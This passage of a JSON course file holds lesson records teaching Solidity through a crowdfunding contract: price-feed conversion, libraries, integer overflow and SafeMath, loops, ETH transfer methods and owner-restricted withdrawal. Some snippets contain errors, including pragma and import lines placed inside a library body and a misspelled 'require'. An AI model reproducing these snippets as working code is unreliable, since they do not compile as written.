an `int256` and `msg.value` is a `uint256`. At this juncture, we will perform an operation known as 'typecasting' to convert the 'price' from `int256` to `uint256`.\n\n## Typecasting in Solidity\n\nTypecasting is an operation you can use to convert one datatype into another. It's important to note that not all datatypes can be converted into one another, but for our situation, we can boldly convert an `int` to a `uint`.\n\n```js\nreturn uint(price) * 1e10;\n```\n\nSo, we've managed to get the same number of decimals for both the variables, and also ensured that they're now of the same type; in other words, made them compatible for mathematical operations.\n\nBeing a function that reads storage without modifying any state, our function can be made a `view` function and it should return a `uint256`:\n\n```js\nfunction getLatestPrice() public view returns (uint) {\n (,int price,,,) = priceFeed.latestRoundData();\n return uint(price) * 1e10;\n }\n```\n\nBy compiling our contract now, we refactor all earlier warnings and errors.\n\nWorking with Solidity can be arduous, especially since there aren't any decimal places, but practice makes perfect!\n\n\n\n\nAs long as we keep in mind the limitations of Solidity and Ethereum, we can take advantage of what they offer to create compelling smart contracts and applications. And with that, you've now learned how to make sense of `AggregatorV3Interface` to extract useful contract data. We are certain that armed with this knowledge, you can advance your smart contract development skills to greater heights.\n\nBut we are just getting started. In the next lesson, we'll explore more Solidity Math, so stay tuned!", + "updates": [] + }, + { + "lessonId": "e82b4210-de20-4557-8924-1a21a2ded429", + "number": 11, + "title": "Solidity math", + "slug": "solidity-math", + "folderName": "11-more-solidity-math", + "description": "This lesson provides insights into converting Ethereum value to USD using Solidity. It covers the implementation of 'getPrice' and 'getConversionRate' functions, understanding decimal places, value validation, and deployment on a testnet.", + "duration": 7, + "videoUrl": "Gyv2LgnbWUWrezE9eKGQVq2e6lVfqbf9o3O233ecDVc", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/11-more-solidity-math/+page.md", + "markdownContent": "---\ntitle: More Solidity Math\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\nIn this lesson, we're going to walk through the conversion of the Ethereum value to USD using Solidity. The purpose of this tutorial is to understand how Ethereum contract operations work, using the `getPrice` and `getConversionRate` functions.\n\n## Settling Down with the `getPrice` Function\n\nThe `getPrice` function returns the value of Ethereum in terms of USD. This value is returned as a `uint256`. Armed with this handy function, we can convert message value into dollar terms.\n\n## Breaking Down the `getConversionRate` Function\n\nThe `getConversionRate` function takes a `uint256` Ethereum (ETH) amount as input. The core objective of this function is to convert ETH into USD dollar value.\n\n\n### Understanding the Importance of Decimal Places\n\nIn Solidity, due to the lack of decimal numbers (only whole numbers work), we should always multiply before dividing. Coupled with the fact that both values have 18 decimal places, we have to divide the final calculated product by `1E18`.\n\n\n\nFor instance, let's put $2000 as ETH's value in dollar terms. The calculation would look like this:\n\n1. `ETH_Price`= $2000 (with 18 decimal places)\n2. Multiply ETH\\_Price by 1 ETH\n3. Now we'll have an extra 36 decimal places since 1 ETH also has 18 decimal places\n4. Divide the result with `1E18`\n\nThis function helps to handle the bulk of the math conversions for us. It takes our ETH amount and returns its equivalent in USD.\n\n## Value Validation\n\nNow, if we want to magnify the application of this function, let's assume we want to check if our users are sending at least $5.\n\n```js \n getConversionRate(msg.value) >= Minimum_USD\n // In other terms:\n require(PriceConverter.getConversionRate(msg.value) >= MINIMUM_USD, \"You need to spend more ETH!\");\n```\n\nThe value returned by `getConversionRate` function are calculated in 18 decimal places, so our $5 threshold would be `5E18` or `5*1E18`.\n\n## Deployment to the Testnet\n\nLet's say we deploy this to a testnet. After a long pause, we get our deployed contract. Using the `getPrice` function, we would get the current value of Ethereum.\n\nNow, if we try to add $5 to the fund, we'll probably get an error saying,\n\n```js\nGas estimation failed. Error execution reverted, didn't send enough ETH.\n```\n\n\n\nThis error is triggered when the amount in ETH is less than our $5 benchmark.\n\n\nBut if we attempt to fund with at least $5 worth of ETH,\n\nOur transaction gets through probably and shows no sign of the previous gas error.\n\n## Wrapping Up\n\nSolidity is a powerful language for writing smart contracts, and the ability to convert Ethereum into USD is a fundamental task.\n\nAs it stands, the `getConversionRate` function is working effectively in routing transactions worth less than $5 and ratifying ones equivalent to or more than $5 worth of ETH.\n\nIn our future lessons, the focus will be on withdrawal functions and contract interactions using Solidity. But for now, it's time to move forward!\n\n\n\n\nHappy Coding!\n", + "updates": [] + }, + { + "lessonId": "eb82b3ce-5af7-4f79-9fe5-1004776159e0", + "number": 12, + "title": "Msg sender explained", + "slug": "solidity-msg-sender", + "folderName": "12-msg-sender", + "description": "The lesson introduces the use of Solidity's global variables, arrays, and mappings to track users sending money to a contract. It covers creating a mechanism to record addresses and amounts sent by users using 'msg.sender' and mappings.", + "duration": 2, + "videoUrl": "FlrqCT8YNodzU2jTzYuRtV5POuxwoJAX007iMDAPPWVA", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/12-msg-sender/+page.md", + "markdownContent": "---\ntitle: Message Sender (msg.sender)\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n\nAs you continue to dive deeper into the world of Solidity, you may find yourself wondering: \"How can I keep track of users sending money within a contract?\" and \"How can I easily look up how much each user has spent?\" In today's lesson, we'll walk through how to achieve this using Solidity's global variables, arrays, and mappings.\n\n## What are we doing next?\n\nThe first task at hand is to create a mechanism within the contract that keeps track of the users (addresses) who send money to the contract. For this purpose, we will create an array of addresses. The array will constantly be updated depending on who sends us money.\n\n```js\naddress[] public funders;\n```\n\nNote that the array is `public`. Meaning, it is accessible to anyone who interacts with the contract.\n\nWe will then update this array whenever money is incoming. Let's indicate this action by adding:\n\n```js\nfunders.push(msg.sender);\n```\n\nThe `msg.sender` global variable is a key feature in Solidity. It refers to the address that initiates a transaction (i.e., the sender of the transaction). In essence, we're saying \"whenever someone sends us money, add their address to the `funders` array\".\n\n\n\n\n## Mapping addresses to their funds\n\nLet's take this a step further and also associate the address of each funder to the amount sent using mappings.\n\nThis mapping will make it easier to look up the total amount each user has sent quick and easy. Let’s denote a mapping within Solidity as:\n\n```js\nmapping (address => uint256) public addressToAmountFunded;\n```\n\nIn Solidity, we now also have the capability to name the types in your mapping which adds clarity to our code. Here's an example:\n\n```js\nmapping (address => uint256 funderMappedToAmountFunded) public addressToAmountFunded;\n```\n\nIn this line of code, the variable name `addressToAmountFunded` is highly explicit and self-explanatory. It adds what is commonly referred to as \"syntactic sugar,\" making it easier to read what the mapping is about.\n\nFinally, let’s complete this mapping by adding the amount the user sends to their total funds.\n\n```js\naddressToAmountFunded[msg.sender] += msg.value;\n```\n\n## What Have We Achieved?\n\n\n\nWe now have a way to keep track of funders sending money to our contract and to easily determine how much they've sent in total. This knowledge will aid in designing more complex contracts in the future, as well as creating a more intuitive and user-friendly blockchain experience.\n\nBe sure to join us for our next tutorial to further your understanding of Solidity and blockchain!\n\n", + "updates": [] + }, + { + "lessonId": "abed0d0d-602d-46bc-a9ad-f1df9e6c42f6", + "number": 13, + "title": "Quick section recap", + "slug": "quick-recap-fund-me", + "folderName": "13-quick-recap-ii", + "description": "A comprehensive refresher on key concepts in Advanced Solidity, covering contract addresses and ABIs, interfacing with contracts, using Chainlink Price Feeds, handling decimals and global units in Solidity, and the importance of these elements in smart contract development.", + "duration": 1, + "videoUrl": "Ci36Of4FIrBkZPPsMIfnpDjv00uSseDgJh35U5rqAFog", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/13-quick-recap-ii/+page.md", + "markdownContent": "---\ntitle: Quick Recap II\n---\n\n*Follow along this chapter with the video bellow*\n\n\n\n# Advanced Solidity: A Comprehensive Refresher\n\nHey you, welcome back! Having ventured into the depths of Advanced Solidity, We are sure you have been inundated with loads of information, from compiler instructions to price feeds. Let's re-trace our learning path and perform a detailed recap of what we've tackled so far. Remember, every move in the arduous world of Solidity programming counts.\n\n## Starting With a Contract: Address and Abi\n\nThe bedrock of any smart contract is the `address` and `Abi` (Application Binary Interface.) Remember, to interact with any contract, you need these two elements ideally. In the most straightforward terms, an `address` is similar to a house number that helps identify the specific contract in the blockchain universe. The `Abi`, on the other hand, is a manual revealing how the contract can be used.\n\n```js\n // In JavaScript\n let contractAddress = \"0x....\";\n let contractAbi = [...];\n```\n\n\n\n## Interfacing with the Contract\n\nTo get the Abi easily and subsequently interact with another contract, you need to compile an interface. This is a critical step, akin to building a radio set that helps you tune into the contract's frequency. Combining the contract `address` with the interface essentially streamlines calling on the contract's functions.\n\n\n## Linking Up: Using Chainlink Price Feeds\n\nIn our sturdy armor of Solidity programming, [Chainlink Price Feeds](https://docs.chain.link/docs/using-chainlink-reference-contracts/) are the trusty sword. They provide an efficient way to access real-world data, particularly **pricing data**, and inject it into our smart contracts – a process that's as seamless as sipping coffee while going through the morning news!\n\n\n\n\n## Making Math Work in the EVM\n\nWhen it comes to working with mathematics in Solidity and the Ethereum Virtual Machine (EVM) in general, decimals are a no-go zone - they just don't play well in here. So, make sure you're always using the correct unit conversion when dealing with your contracts.\n\n\n## Getting to Grips with Global Units in Solidity\n\nDominated by two players: `msg.value` and `msg.sender`, globally available units in Solidity tell a lot about the transaction at hand. `msg.sender` refers to the account that started the current function call, while `msg.value` represents the number of wei sent with that particular function call.\n\n```js\n function updateValue() public payable {\n require(msg.value >= 1 ether, \"Not enough Ether provided.\");\n }\n```\n\n\n\nTo wrap it up, I believe you now have a thorough understanding - if not a complete masterclass of what we've learned so far in Advanced Solidity. As we continue our journey, always remember that understanding and mastering the basics create a solid foundation for the complex elements to come as we further demystify Solidity!", + "updates": [] + }, + { + "lessonId": "e5043367-e48c-44b4-9a50-6016c9057d19", + "number": 14, + "title": "Creating your own libraries", + "slug": "create-solidity-library", + "folderName": "14-libraries", + "description": "This lesson covers the creation and use of Solidity Libraries to streamline code and avoid redundancy. It demonstrates how to create a library, transfer functions to it, and utilize the library in contracts for efficient code management and functionality enhancement.", + "duration": 5, + "videoUrl": "ua02h028O800yic1501IYq3Rxs8UXIMZIBKK9EqD6NLJutE", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/14-libraries/+page.md", + "markdownContent": "---\ntitle: Libraries\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nEver wanted to streamline your code by getting rid of some repeated functions or routine workflows? Is it too tiresome and annoying to rewrite code snippets to maintain pricing information? Well, then, you're in the right place! In this blog post, we will discuss an efficient way to solve these problems using Solidity Libraries.\n\nSolidity Libraries are instrumental for reusing codes and adding functionality to different Solidity types. So, let's dive straight into some code and see how we can significantly refine our workflow.\n\n## What is a Solidity Library?\n\nSolidity Libraries are similar to contracts but do not allow the declaration of any state variables and you can't send ether to them. An important point to note is that a library gets embedded into the contract if all library functions are internal. And in case any library functions are not internal, the library must be deployed and then linked before the contract is deployed.\n\nIn this post, we will create a library that will allow us to work with our `getPrice`, `getConversionRate` and `getVersion` functions much more efficiently.\n\n## Creating a New Library\n\nBegin by creating a new file called `PriceConverter.sol`. This is going to accommodate the library we desire to create and we'll call it `PriceConverter`. We kickstart by providing the SPDX license identifier and a specified compiler pragma, in our case `0.8.18`. Be careful to replace the `contract` keyword with `library`.\n\n```js\n // SPDX-License-Identifier: MIT\n pragma solidity ^0.8.18;\n library PriceConverter {}\n```\n\nRemember, library in Solidity won't contain any state variables and must mark all the functions as `internal`.\n\nLet's move our `getPrice`, `getConversionRate` and `getVersion` functions from the `FundMe.sol` contract to our new library. Follow the steps below:\n\n- Go to `FundMe.sol`, and copy `getPrice`, `getConversionRate` and `getVersion` functions.\n- Paste them in the `PriceConverter.sol`.\n- Import the `AggregatorV3Interface` into `PriceConverter.sol`.\n\nNow, mark all these functions as internal, and you've done setting up your library!\n\n```js\nlibrary PriceConverter {\n // SPDX-License-Identifier: MIT\n pragma solidity ^0.8.18;\n\n import {AggregatorV3Interface} from \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\";\n\n function getPrice() internal view returns (uint256) {\n AggregatorV3Interface priceFeed = AggregatorV3Interface(0x694AA1769357215DE4FAC081bf1f309aDC325306);\n (, int256 answer, , , ) = priceFeed.latestRoundData();\n return uint256(answer * 10000000000);\n }\n\n\n function getConversionRate(\n uint256 ethAmount\n ) internal view returns (uint256) {\n uint256 ethPrice = getPrice();\n uint256 ethAmountInUsd = (ethPrice * ethAmount) / 1000000000000000000;\n return ethAmountInUsd;\n }\n}\n```\n\n## Make your library functionalities accessible in contract\n\nTo use the library functions in your contract, import the library in your contract and attach it to the desired type. Here, we attach the library to `uint256` as follows:\n\n```javascript\nimport \"./PriceConverter.sol\";\nusing PriceConverter for uint256;\n```\n\nNow, these library functions act as if they belonged to the `uint256` type. Even though you're not passing any variables in `getPrice()` and `getVersion()` functions, the value will still pass on and get ignored.\n\nCalling the `getConversionRate()` function now looks like this:\n\n```javascript\nuint256 conversionRate = msg.value.getConversionRate();\n```\n\nHere, `msg.value`, which is a `uint256` type, has been enhanced to include the `getConversionRate()` function. The `msg.value` gets passed as the first argument to the function.\n\nFor more than one argument, the additional arguments will be passed after the first argument as demonstrated below:\n\n```javascript\nuint256 result = msg.value.getConversionRate(123);\n```\n\nHere `123` will be passed as the second `uint256` argument in the function.\n\n## Final Thoughts\n\nCongrats on creating your very first Solidity Library! Now, you can handle even complicated pricing details effortlessly! This process saves time and reduces the redundancy of code reuse across the project. It also helps to provide more clarity to the code by encapsulating some functionalities away from the smart contract.\n\nIn conclusion, Solidity libraries are a great way to enhance your contracts with additional functionalities, thereby contributing to more robust and cleanly written smart contracts. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "b9897219-bdc3-4e41-b7fd-0d02708bafaa", + "number": 15, + "title": "Using Safemath", + "slug": "safemath", + "folderName": "15-safemath", + "description": "An introduction to the SafeMath library in Solidity, explaining its significance before Solidity 0.8 and the reasons for its reduced usage post Solidity 0.8. The lesson covers integer overflow issues and the implementation of automatic checks in newer Solidity versions.", + "duration": 6, + "videoUrl": "tjsmSlrZgcVBEB02c4tXeCYnSqgetvH3EyIyDMp9bkmY", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/15-safemath/+page.md", + "markdownContent": "---\ntitle: SafeMath\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\n## Introduction to SafeMath Library\n\nThe world of Solidity is rich with various libraries designed to make your smart contract development journey smoother. However, there's this one library that has gained notoriety in the Solidity community – `SafeMath.sol`. Whether you are a seasoned Solidity engineer or just starting, you'd likely encounter SafeMath in your interaction with the Ethereum world. But, as with most software components, libraries evolve with time. Let's explore what `SafeMath.sol` used to be, and why its usage has decreased.\n\n\n\n## Understanding SafeMath Library\n\n`SafeMath.sol` was a staple in Solidity contracts before version 0.8. However, its usage has dropped significantly. So, if it was once popular, why did developers stop using it? What exactly changed? Let's examine what `SafeMath.sol` was designed to manage.\n\nFirst, let's create a new file called `SafeMathTester.sol` and explore this library in action.\n\n```javascript\n// SafeMathTester.sol\npragma solidity ^0.6.0;\ncontract SafeMathTester {\n uint8 public bigNumber = 255;\n function add() public {\n bigNumber = bigNumber + 1;\n }\n}\n```\n\nHere, we use the version `0.6.0` of Solidity. The `SafeMathTester` contract has a `uint8` data type `bigNumber` with the maximum capacity of `255`.\n\nAfter deploying this contract to a JavaScript Virtual Machine (JVM) or even a test network, invoking the `bigNumber` function will return `255` (its initial value), as anticipated. Interestingly, invoking the `add` function (which adds `1` to `bigNumber`) returns `0` when queried again, not `256` as one might expect. What's going on?\n\nBefore the 0.8 version of Solidity, signed and unsigned integers were unchecked, meaning that if your calculations exceeded the numerical limit of the variable type, it would wrap around to the lower limit. This pattern is known as integer overflow and it’s exactly what SafeMath library was designed to prevent.\n\n## Addressing Integer Overflow with SafeMath.sol\n\nSafeMath.sol provided a mechanism to halt transactions upon reaching the maximum limit of a `uint256` or `int256` data type. It was a typical security measure and a convention across contracts to avoid erroneous calculations and potential exploits.\n\n```javascript\nfunction add(uint a, uint b) public pure returns (uint) {\n uint c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n}\n```\n\nIn the above example, through `require` statements, `SafeMath.sol` ensures the result of the addition operation always equals or exceeds the first operand. This approach effectively prevents an overflow.\n\nHowever, the SafeMath library is less common in newer versions of Solidity. Why?\n\n## Changes in Solidity 0.8 and the Decline of SafeMath.sol\n\nWith the introduction of Solidity version 0.8, automatic checks for overflows and underflows were implemented, making SafeMath less essential.\n\n```javascript\n// SafeMathTester.sol\npragma solidity ^0.8.0;\ncontract SafeMathTester {\n uint8 public bigNumber = 255;\n function add() public {\n bigNumber = bigNumber + 1;\n }\n}\n```\n\nIn the `SafeMathTester.sol` contract, if we deploy this to a JavaScript VM using Solidity `0.8.0`, invoking the `add` function will cause a transaction to fail, whereas, in older versions, it would have reset back to zero. The introduction of this automatic check in Solidity `0.8.0` effectively rendered the `SafeMath.sol` library redundant for overflow and underflow checking.\n\nHowever, for scenarios where mathematical operations are known not to exceed a variable's limit, Solidity introduced the `unchecked` construct to make code more gas-efficient. Wrapping the addition operation with `unchecked` will bypass overflow and underflow checks and revert back to the old behavior, where exceeding the limit wraps the value to zero.\n\n```javascript\nuint8 public bigNumber = 255;\n function add() public {\n unchecked {bigNumber = bigNumber + 1;\n }\n}\n```\n\nIt's important to note that unchecked blocks should be used with caution as they reintroduce the chance for overflows and underflows to occur.\n\n## Conclusion\n\nThe evolution of Solidity and `SafeMath.sol` illustrates the continuous advancements in Smart Contract development on Ethereum. While `SafeMath.sol` has become less essential with recent updates, it is still a critical piece of Ethereum's history, and understanding it gives us a broader perspective of Solidity's progress. In our daily work, we can now focus our efforts on using the latest features like the Price Converter library in our newly created FundMe contract.\n\nBy constantly learning and adapting to new changes, we can make the most of the versatile, yet intricate world of Solidity development.\nKeep learning and we will see you on the next chapter!\n", + "updates": [] + }, + { + "lessonId": "ac452aa0-0d21-468f-b1b6-aafa7cd7a811", + "number": 16, + "title": "Solidity for Loop", + "slug": "solidity-for-loop", + "folderName": "16-for-loop", + "description": "This lesson teaches the concept of for loops in Solidity, demonstrating how they can be used to access and manipulate arrays. It focuses on practical applications in a smart contract, particularly for iterating over arrays and resetting mappings.", + "duration": 5, + "videoUrl": "mM02BhICwDRJUEM02IO4K68gK9BDx7iYGUABJ7UoxeTKQ", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/16-for-loop/+page.md", + "markdownContent": "---\ntitle: For Loop\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nHey there, awesome learners! In the previous lesson, we've managed to get the basics of the math for our `FundMe` contract. Up to now, people can send us money and we keep track of them - a crucial foundation for our contract. Now, we are ready to move to the next step of our project: withdrawing the accumulated funds. After withdrawing, we'll also reset all the mappings back to zero. We'll accomplish this using a concept known as a for loop.\n\n## Understanding for Loops\n\nIn many programming languages, you'll encounter the concept of a for loop. Essentially, a for loop enables us to loop through a list or execute a block of code a designated number of times.\n\nFor instance, consider this list:\n\n```js\nList_Example = [1, 2, 3, 4];\n```\n\nThe elements of the list are the numbers 1 through 4, with indices ranging from 0 through 3; i.e., 1 is at the 0th index, 2 is at the first index, and so forth.\n\nTo access all the elements in this list, we would loop from 0 to 3. You can identify elements via their indexes.\n\nThis looping process uses the `for` keyword. A typical `for` loop structure in programming languages can initialize at some starting index, iterate until an end index, and increment by certain steps. For instance, starting at index 0, ending at index 10, and incrementing by 1 each time would get you:\n\n```\n0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10\n```\n\nHowever, starting at the 3rd index, ending at the 12th index, and incrementing by 2 each time would get you:\n\n```\n3, 5, 7, 9, 11\n```\n\nIn this process, we can capture the essence of the `for` loop: repeat a set of actions for a determined sequence of values.\n\n## Using for Loops in Solidity: Fund Me Contract\n\nLet us implement this concept in our project.\n\n```js\nuint256 funderIndex;\nfor(funderIndex = 0; funderIndex < funders.length; funderIndex++) {\n address funder = funders[funderIndex];\n addressToAmountFunded[funder] = 0;\n }\n```\n\nLet's dissect this block of code. The loop begins at the 0th index and traverses through the `funders` array until it reaches the final element. With each iteration, it accesses the `funderAddress` at the current index and then resets the corresponding funding amount in the `addressToAmountFunded` mapping to zero, effectively clearing the record of the associated donation.\n\n\n\nAdditionally, we have used two shortcuts in our code.\n\n1. `funderIndex++`: Instead of writing `funderIndex = funderIndex + 1`, we can use the `++` operator to simplify the increment by one within the loop.\n2. `+=`: Another handy shorthand is `+=`, used when you want to add something to an existing value. Instead of writing `x = x + y`, you can write `x += y`.\n\nLet's summarize the for loop process in our case. We start from `funderIndex` 0, get the address of the funder at the 0th position in our funder array, and set the amount they funded to zero in our mapping. After that, we increment `funderIndex` by 1 and check whether it is still less than the total number of funders. We then get the address of the funder at the first position, again set their funding amount to zero, and continue this process until `funderIndex` equals the total number of funders.\n\nWith our `withdraw` function, we can now access and withdraw the money our contract has raised. Once we've withdrawn the money, we clear all previous records and ready ourselves for new transactions. This gives us a clean slate, symbolising the precise management of funds in our financing smart contract.\n\nThis is just an illustration of how important and useful loops can be in programming and development of smart contracts. Indeed, familiarity with loops is a crucial aspect of becoming a competent developer - they help us write clean, efficient, and repetitive code blocks.\n\nStay tuned for more updates on our developing smart contract!\n", + "updates": [] + }, + { + "lessonId": "82088b31-f119-4d15-b2ec-f6fa644e626f", + "number": 17, + "title": "Resetting an Array", + "slug": "solidity-reset-an-array", + "folderName": "17-resetting-an-array", + "description": "A guide on effectively resetting arrays in Solidity, particularly within the context of smart contracts. The lesson addresses the importance of resetting arrays for managing and updating contract states, and demonstrates the process using practical examples.", + "duration": 2, + "videoUrl": "yPI5eLPwMwpmvXdLc01IW7o1i5jKVNed5WpMco5zKIf8", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/17-resetting-an-array/+page.md", + "markdownContent": "---\ntitle: Resetting an Array\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nIn the previous lesson on smart contracts in Ethereum, we discussed how to handle value funds and introduced the `mapping` keyword with Ethereum's Solidity. In this stage of our course, our main focus will be on how to reset an array effectively and to withdraw funds appropriately from our smart contract.\n\nNow, you might remember that we have two overdue tasks from our last session:\n\n1. Resetting the array\n2. Withdrawing the funds\n\nLet's get started by tackling these one by one.\n\n## Resetting the Array\n\nWe have previously learned that one can accumulate value in the `msg.value` function with a fund function and then subsequently reset the funders array. For this purpose, we can adopt the same tactic we previously employed with 'mapping'; accessing and resetting each single address at each index.\n\nHowever, there also exists a simpler solution: let's just recreate the whole funders array anew! Here's how you can do that:\n\n```js\nfunders = new address[](0);\n```\n\nThe `new` keyword, you may recall, we used in a different context within our last course - deploying a contract. Its use here, however, is to reset the `funders` array. This equates to initializing a brand-new, blank address array.\n\nI want to take a moment here to remind you that this particular use might initially seem perplexing. Nonetheless, it is crucial not to let it deter your learning progress.\n\n\n\nNow that we successfully reset the array, our next step would be to handle the fund withdrawal from the contract.\n\n## Withdrawing the Funds\n\nFor this section, I would refer back to a course we had done previously as the content to withdraw funds aligns precisely with this function. If you need a refresher.\n\nRemember, even if we're dealing with a smart contract this round, the concept remains the same, even in a JavaScript runtime environment, like Remix VM.\n\nCode functionality, be it resetting arrays or withdrawing funds, may seem simple on the surface but they carry great weight in the realm of smart contracts. Remember, clarity of function and security of execution is the mantra to follow in our line of work. Remain persistent and keep exploring. Happy coding!\n", + "updates": [] + }, + { + "lessonId": "a87b6e64-814d-477e-bd2e-8a40c296ed3d", + "number": 18, + "title": "Sending ETH from a contract", + "slug": "sending-eth-from-a-contract", + "folderName": "18-sending-eth-from-a-contract", + "description": "An exploration of three methods for sending Ether from a contract in Solidity: transfer, send, and call. The lesson compares these methods, discussing their syntax, behavior, and appropriate use cases, with a focus on their gas usage and security implications.", + "duration": 8, + "videoUrl": "69DIUIVnKx6OBtxD00Rort008VfEPT5Nrf3lR7C004nHbw", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/18-sending-eth-from-a-contract/+page.md", + "markdownContent": "---\ntitle: Transfer, Send and Call\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\nOne important aspect is understanding how to securely and effectively withdraw funds from a smart contract. This tutorial explores three different methods of doing this – `transfer`, `send`, and `call`. We will examine their differences, understand how each one works, and determine when to use each strategy.\n\n## Transfer Function In Ethereum\n\nWe start by discussing the `transfer` function, mostly due to its simplicity and straightforwardness. Here is a basic representation of how to use this function:\n\n```js\npayable(msg.sender).transfer(address(this).balance);\n```\n\nWe utilize `msg.sender` which refers to the address initiating the transaction. The `transfer` function is used to send the specified amount of Ether (or the native cryptocurrency on the current blockchain).\n\nIt is worth noting the necessity of converting the `msg.sender` to a payable address to facilitate the transfer. This is achieved by wrapping the `msg.sender` with the `payable` keyword.\n\nHowever, `transfer` has a significant limitation. It can only use up to 2300 gas and it reverts any transaction that exceeds the gas limit. When your transaction requires more gas, this function fails and reverts the transaction entirely. Additionally, [Solidity by example](https://solidity-by-example.org/sending-ether/) offers an excellent reference point for this discussion.\n\n## Send Function\n\nOur second method is the `send` function. Syntax-wise, it is similar to `transfer`, but it has a slightly different behavior. Here is how you would write it:\n\n```js\nbool success = payable(msg.sender).send(address(this).balance);\nequire(success, \"Send failed\");\n```\n\nSimilar to the `transfer` function, `send` also has a gas limit of 2300. However, instead of completely reverting the transaction, it returns a Boolean value (`true` or `false`) to indicate the success or failure of the transaction. In case of failure, the contract is still intact. It is your responsibility as a developer to ensure that errors are caught, which is the purpose of `require(success, \"Send failed\");`. This line of code enforces that the send operation must be successful.\n\n## Call Function\n\nFinally, the `call` function is the most flexible and powerful of the three. It can be used to call virtually any function in Ethereum without requiring the function's abi (application binary interface). More importantly, it does not have a capped gas limit. It forwards all available gas to the transaction.\n\n```js\n(bool success, ) = payable(msg.sender).call{value: address(this).balance}(\"\");\nrequire(success, \"Call failed\");\n```\n\nTo send funds using the `call` function, we modify our syntax slightly by including squiggly brackets `{'{'}...{'}'}`, where we can add details about the transaction, such as the value being transacted.\n\nThe `call` function also returns two variables: a Boolean for success or failure, and a byte object which stores returned data if any. The code `require(success, \"Call failed\");` ensures that the transaction must succeed, similar to the `send` method.\n\n\n\nHowever, understanding the difference between these three functions may be challenging initially. Don't worry! Continue experimenting and learning about lower-level functions and the concept of gas. Go back to this tutorial when you have a broader understanding of these topics.\n\nFeel free to refer to [Solidity, by example](http://solidity-by-example.org), which provides a comprehensive comparison among these three functions. To summarize, `transfer` throws errors when transactions fail and is capped at 2300 gas. `send` operates similarly but returns a Boolean value instead of reverting the entire transaction. `call`, on the other hand, forwards any available gas and is therefore not capped, returning a Boolean value similar to `send`.\n\nHopefully, this tutorial makes it clear how to use these three functions to send and transfer Ethereum or other blockchain native currency tokens.\n\nKeep Learning and we will see you in the next chapter!\n", + "updates": [] + }, + { + "lessonId": "38e91f6c-1127-4ef3-961c-ed859b75546f", + "number": 19, + "title": "Smart contract constructor", + "slug": "solidity-smart-contract-constructor", + "folderName": "19-constructor", + "description": "This lesson focuses on using the constructor function in Solidity for role assignment, particularly for setting a contract owner. It discusses the security implications and demonstrates how to restrict certain functionalities, like fund withdrawal, to the owner.", + "duration": 4, + "videoUrl": "d7GLMilTvbVdyVbzzRUSq00aoOFcyPqVGyO2gxxUH02Uw", + "rawMarkdownUrl": "/routes/solidity/3-fund-me/19-constructor/+page.md", + "markdownContent": "---\ntitle: Constructor\n---\n\n_Follow along this chapter with the video bellow_\n\n\n\n# Solidity: Bolstering Contract Security\n\nWelcome to another exciting guide on Solidity. In this blog, we will further explore the complex, puzzling, but intriguing world of smart contracts. Our primary focus will be on securing the withdrawal functions in contracts. This effort ensures that only contract owners can withdraw funds, not just any layperson.\n\nTo sweeten the deal, I'll be using the same code we used in the previous video tutorial. Thus those familiar with the old code (or those brave enough to peek at the previous guide) will be at ease. Now let's dive in!\n\n## Addressing the Security Gap\n\nEvery complex code has a potential loophole, and our contract code is no exception. In our current setup, anyone - you heard me correctly, anyone - can call the `withdraw` function and empty all the funds from the contract. Unacceptable, right? So we need to seal that loophole tightly, and the best way to do this is by restricting the withdrawal privilege to only the contract owner.\n\n\n\n## Implementing the Constructor for Role Assignment\n\nThe crucial question now becomes: How can we set up this contract such that only the contract owner can call the `withdraw` function?\n\nWe could try to create a function, let's name it `callMeRightAway`. This function would assign the role of contract owner to the contract's creator as soon as the contract is deployed. However, this would require two transactions. As engineers, we strive for efficiency; we need a leaner solution.\n\nLuckily for us, Solidity has a tool built for this task: the Constructor function. For those familiar with other programming languages, you'll notice the Constructor function is quite similar across the spectrum.\n\nIn Solidity, creating a constructor function is straightforward:\n\n```js\nconstructor() {}\n```\n\nNote that we don't use the `function` keyword, nor do we need the `public` keyword. Remix will even conveniently highlight it pink for us.\n\n## Using Constructor to Assign Contract Owner\n\nNow that we have our constructor sorted out, let's discuss its functionality. The constructor function is immediately and automatically called when you deploy your contract, within the same transaction that deploys the contract.\n\nGiven this attribute, we can use the constructor to set an address as the contract's owner right after the contract's deployment.\n\n```js\naddress public owner;\nconstructor() {\n owner = msg.sender;\n}\n```\n\nHere, we initiated `address public owner;` a global variable which will hold the contract owner address. Then in the constructor function, we assign `msg.sender` to the owner variable. In this context, `msg.sender` refers to the contract's deployer.\n\n## Modifying the Withdraw Function\n\nWith the contract owner now set using the `constructor`, the next step is to update the `withdraw` function, ensuring it can only be called by the owner.\n\n```js\nfunction withdraw() public {\n require(msg.sender == owner, \"must be owner\");\n}\n```\n\nThe `require` keyword checks to ensure that the `msg.sender`, which, as we noted earlier, refers to the caller of the function, must be the owner. If the caller isn't the owner, the operation reverts with an error message \"must be owner.\"\n\n## Wrapping Up\n\nThis modification essentially restricts the access to the `withdraw` function to the contract's owner, sealing the security loophole we identified earlier.\n\nOnce you've updated your contract, you're free to deploy, test your code, and appreciate the efficiency of our new smart contract. With this, you have a more secure and efficient contract.\n\nHappy Coding!\n", + "updates": [] + }, + { + "lessonId": "34ce586a-265f-4ab8-9c7f-0b4dc8fd9c72", + "number": 20, + "title": "Solidity function modifiers", + "slug": "solidity-function-modifiers", + "folderName": "20-modifiers", + "description": "A deep dive into the use of function modifiers in Solidity. The lesson covers how modifiers can streamline code, especially for administrative functions, and includes practical examples to illustrate the implementation and benefits of using modifiers in contracts.", + "duration": 3, + "videoUrl": 